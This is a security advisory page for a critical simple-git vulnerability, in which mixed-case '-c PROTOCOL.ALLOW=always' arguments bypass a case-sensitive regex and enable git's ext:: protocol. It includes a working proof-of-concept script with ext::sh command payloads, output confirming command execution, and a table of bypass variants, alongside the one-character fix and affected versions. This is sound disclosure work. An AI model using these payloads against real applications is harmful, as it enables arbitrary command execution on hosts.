---
title: "GHSA-r275-fr43-pm7q: simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE"
description: "Critical severity. simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE."
url: https://inlinr.com/advisories/GHSA-r275-fr43-pm7q
lang: en
---

[Packages](https://inlinr.com/packages) / [simple-git](https://inlinr.com/packages/simple-git) / [Security](https://inlinr.com/packages/simple-git/security)

Critical Vulnerability GHSA-r275-fr43-pm7q CVE-2026-28292 Published 10 Mar 2026

# simple-git has blockUnsafeOperationsPlugin bypass via case-insensitive protocol.allow config key enables RCE

Your version 

Affected releases · [simple-git](https://inlinr.com/packages/simple-git)

- 3.x 3.15.0 – 3.32.2 Fixed in 3.32.3

On 3.x, the newest line:

```
npm install simple-git@3.32.3
```

Every release on a timeline

4.x 

1. Not affected

4.0.0 – 4.1.0  
4 releases, latest

3.x 

1. Not affected

3.0.1 – 3.14.1  
22 releases
2. Affected

3.15.0 – 3.32.2  
23 releases
3. Fixed

3.32.3 – 3.36.0  
7 releases

278 stable releases of simple-git, oldest to newest, one row per major.

## What happens

Summary

The `blockUnsafeOperationsPlugin` in `simple-git` fails to block git protocol override arguments when the config key is passed in uppercase or mixed case. An attacker who controls arguments passed to git operations can enable the `ext::` protocol by passing `-c PROTOCOL.ALLOW=always`, which executes an arbitrary OS command on the host machine.

---

Details

The `preventProtocolOverride` function in `simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts` (line 24) checks whether a `-c` argument configures `protocol.allow` using this regex:

```
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {
   return;
}
```

This regex is case-sensitive. Git treats config key names case-insensitively — it normalises them to lowercase internally. As a result, passing `PROTOCOL.ALLOW=always`, `Protocol.Allow=always`, or any mixed-case variant is not matched by the regex, the check returns without throwing, and git is spawned with the unsafe argument.

**Verification that git normalises the key:**

```
$ git -c PROTOCOL.ALLOW=always config --list | grep protocol
protocol.allow=always
```

**The fix is a single character — add the `/i` flag:**

```
// Before (vulnerable):
if (!/^\s*protocol(.[a-z]+)?.allow/.test(next)) {

// After (fixed):
if (!/^\s*protocol(.[a-z]+)?.allow/i.test(next)) {
```

---

poc.js

```
/**
 * Proof of Concept — simple-git preventProtocolOverride Case-Sensitivity Bypass
 *
 * CVE-2022-25912 was fixed in simple-git@3.15.0 by adding a regex check
 * that blocks `-c protocol.*.allow=always` from being passed to git commands.
 * The regex is case-sensitive. Git treats config key names case-insensitively.
 * Passing `-c PROTOCOL.ALLOW=always` bypasses the check entirely.
 *
 * Affected : simple-git >= 3.15.0 (all versions with the fix applied)
 * Tested on: simple-git@3.32.2, Node.js v23.11.0, git 2.39.5
 * Reporter : CodeAnt AI Security Research (securityreseach@codeant.ai)
 */

const simpleGit = require('simple-git');
const fs = require('fs');

const SENTINEL = '/tmp/pwn-codeant';

// Clean up from any previous run
try { fs.unlinkSync(SENTINEL); } catch (_) {}

const git = simpleGit();

// ── Original CVE-2022-25912 vector — BLOCKED by the 2022 fix ────────────────
// This is the exact PoC Snyk used to report CVE-2022-25912.
// It is correctly blocked by preventProtocolOverride in block-unsafe-operations-plugin.ts.
git.clone('ext::sh -c touch% /tmp/pwn-original% >&2', '/tmp/example-new-repo', [
  '-c', 'protocol.ext.allow=always',   // lowercase — caught by regex
]).catch((e) => {
  console.log('ext:: executed:poc', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});

// ── Bypass — PROTOCOL.ALLOW=always (uppercase) ──────────────────────────────
// The fix regex /^\s*protocol(.[a-z]+)?.allow/ is case-sensitive.
// Git normalises config key names to lowercase internally.
// Uppercase variant passes the check; git enables ext:: and executes the command.
git.clone('ext::sh -c touch% ' + SENTINEL + '% >&2', '/tmp/example-new-repo-2', [
  '-c', 'PROTOCOL.ALLOW=always',       // uppercase — NOT caught by regex
]).catch((e) => {
  console.log('ext:: executed:', fs.existsSync(SENTINEL) ? 'PWNED — ' + SENTINEL + ' created' : 'not created');
  console.error(e);
});

// ── Real-world scenario ──────────────────────────────────────────────────────
// An application cloning a legitimate repository with user-controlled customArgs.
// Attacker supplies PROTOCOL.ALLOW=always alongside a malicious ext:: URL.
// The application intends to clone https://github.com/CodeAnt-AI/codeant-quality-gates
// but the injected argument enables ext:: and the real URL executes the command instead.
//
// Legitimate usage (what the app expects):
//   simpleGit().clone('https://github.com/CodeAnt-AI/codeant-quality-gates',
//                     '/tmp/codeant-quality-gates', userArgs)
//
// Attacker-controlled scenario (what actually runs when args are not sanitised):
const LEGITIMATE_URL = 'https://github.com/CodeAnt-AI/codeant-quality-gates';
const CLONE_DEST     = '/tmp/codeant-quality-gates';
const SENTINEL_RW    = '/tmp/pwn-realworld';
try { fs.unlinkSync(SENTINEL_RW); } catch (_) {}

const userArgs   = ['-c', 'PROTOCOL.ALLOW=always'];
const attackerURL = 'ext::sh -c touch% ' + SENTINEL_RW + '% >&2';

simpleGit().clone(
  attackerURL,   // should have been LEGITIMATE_URL
  CLONE_DEST,
  userArgs
).catch(() => {
  console.log('real-world scenario [target: ' + LEGITIMATE_URL + ']:',
    fs.existsSync(SENTINEL_RW) ? 'PWNED — ' + SENTINEL_RW + ' created' : 'not created');
});
```

---

Test Results

Vector 1 — Original CVE-2022-25912 (`protocol.ext.allow=always`, lowercase)

**Result: BLOCKED ✅**

The original Snyk PoC payload using lowercase `protocol.ext.allow=always` is correctly intercepted by `preventProtocolOverride` before git is invoked. A `GitPluginError` is thrown immediately and the sentinel file is never created.

**Output:**

```
ext:: executed:poc not created
GitPluginError: Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol
    at preventProtocolOverride (.../simple-git/dist/cjs/index.js:1228:9)
    at .../simple-git/dist/cjs/index.js:1266:40
    at Array.forEach (<anonymous>)
    at Object.action (.../simple-git/dist/cjs/index.js:1264:12)
    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29)
    at GitExecutorChain.attemptRemoteTask (.../simple-git/dist/cjs/index.js:1881:36)
    at GitExecutorChain.attemptTask (.../simple-git/dist/cjs/index.js:1865:88) {
  task: {
    commands: [
      'clone',
      '-c',
      'protocol.ext.allow=always',
      'ext::sh -c touch% /tmp/pwn-original% >&2',
      '/tmp/example-new-repo'
    ],
    format: 'utf-8',
    parser: [Function: parser]
  },
  plugin: 'unsafe'
}
```

---

Vector 2 — Uppercase bypass (`PROTOCOL.ALLOW=always`)

**Result: BYPASSED ⚠️ — RCE confirmed**

The `preventProtocolOverride` regex `/^\s*protocol(.[a-z]+)?.allow/` is case-sensitive. `PROTOCOL.ALLOW=always` (uppercase) passes the check without error. Git normalises config key names to lowercase internally, enabling the `ext::` protocol. The injected shell command executes before git errors on the missing repository stream.

**Output:**

```
ext:: executed: PWNED — /tmp/pwn-codeant created
GitError: Cloning into '/tmp/example-new-repo-2'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

    at Object.action (.../simple-git/dist/cjs/index.js:1440:25)
    at PluginStore.exec (.../simple-git/dist/cjs/index.js:1489:29) {
  task: {
    commands: [
      'clone',
      '-c',
      'PROTOCOL.ALLOW=always',
      'ext::sh -c touch% /tmp/pwn-codeant% >&2',
      '/tmp/example-new-repo-2'
    ],
    format: 'utf-8',
    parser: [Function: parser]
  }
}
```

`/tmp/pwn-codeant` was created by the git subprocess — command execution confirmed.

---

Vector 3 — Real-world scenario (target: `https://github.com/CodeAnt-AI/codeant-quality-gates`)

**Result: BYPASSED ⚠️ — RCE confirmed**

An application passes user-controlled `customArgs` to `simpleGit().clone()`. The attacker injects `PROTOCOL.ALLOW=always` and substitutes a malicious `ext::` URL in place of the intended repository URL. The plugin does not block the uppercase variant; git enables `ext::` and executes the payload before the application can detect the failure.

**Output:**

```
real-world scenario [target: https://github.com/CodeAnt-AI/codeant-quality-gates]: PWNED — /tmp/pwn-realworld created
```

`/tmp/pwn-realworld` was created — arbitrary command execution in a realistic application context confirmed.

---

Summary

| # | Vector                  | Payload                               | Sentinel file              | Result     |
| - | ----------------------- | ------------------------------------- | -------------------------- | ---------- |
| 1 | CVE-2022-25912 original | protocol.ext.allow=always (lowercase) | not created                | Blocked ✅  |
| 2 | Case-sensitivity bypass | PROTOCOL.ALLOW=always (uppercase)     | /tmp/pwn-codeant created   | **RCE ⚠️** |
| 3 | Real-world app scenario | PROTOCOL.ALLOW=always \+ attacker URL | /tmp/pwn-realworld created | **RCE ⚠️** |

The case-sensitive regex in `preventProtocolOverride` blocks `protocol.*.allow` but does not account for uppercase or mixed-case variants. Git accepts all variants identically due to case-insensitive config key normalisation, allowing full bypass of the protection in all versions of simple-git that carry the 2022 fix.

`/tmp/pwned` is created by the git subprocess via the `ext::` protocol.

All of the following bypass the check:

| Argument passed via \-c | Regex matches? | Git honours it? |
| ----------------------- | -------------- | --------------- |
| protocol.allow=always   | ✅ blocked      | ✅               |
| PROTOCOL.ALLOW=always   | ❌ bypassed     | ✅               |
| Protocol.Allow=always   | ❌ bypassed     | ✅               |
| PROTOCOL.allow=always   | ❌ bypassed     | ✅               |
| protocol.ALLOW=always   | ❌ bypassed     | ✅               |

---

Impact

Any application that passes user-controlled values into the `customArgs`parameter of `clone()`, `fetch()`, `pull()`, `push()` or similar `simple-git`methods is vulnerable to arbitrary command execution on the host machine.

The `ext::` git protocol executes an arbitrary binary as a remote helper. With `protocol.allow=always` enabled, an attacker can run any OS command as the process user — full read, write and execution access on the host.

## How it is exploited

Exploitable over the network, with no account and no action from a user.

- **Confidentiality**: high
- **Integrity**: high
- **Availability**: high

CVSS:3.1/​AV:N/​AC:L/​PR:N/​UI:N/​S:U/​C:H/​I:H/​A:H

## References

- [Reference](https://github.com/steveukx/git-js/security/advisories/GHSA-r275-fr43-pm7q "https://github.com/steveukx/git-js/security/advisories/GHSA-r275-fr43-pm7q")  
github.com/steveukx/git-js/security/advisories/…
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-28292 "https://nvd.nist.gov/vuln/detail/CVE-2026-28292")  
nvd.nist.gov/vuln/detail/CVE-2026-28292
- [Fix commit](https://github.com/steveukx/git-js/commit/f7042088aa2dac59e3c49a84d7a2f4b26048a257 "https://github.com/steveukx/git-js/commit/f7042088aa2dac59e3c49a84d7a2f4b26048a257")  
f704208
- [Package](https://github.com/steveukx/git-js "https://github.com/steveukx/git-js")  
github.com/steveukx/git-js
- [Reference](https://www.codeant.ai/security-research/security-research-simple-git-remote-code-execution-cve-2026-28292 "https://www.codeant.ai/security-research/security-research-simple-git-remote-code-execution-cve-2026-28292")  
codeant.ai/security-research/security-research-…
- [Reference](https://www.codeant.ai/security-research/simple-git-remote-code-execution-cve-2026-28292 "https://www.codeant.ai/security-research/simple-git-remote-code-execution-cve-2026-28292")  
codeant.ai/security-research/simple-git-remote-…

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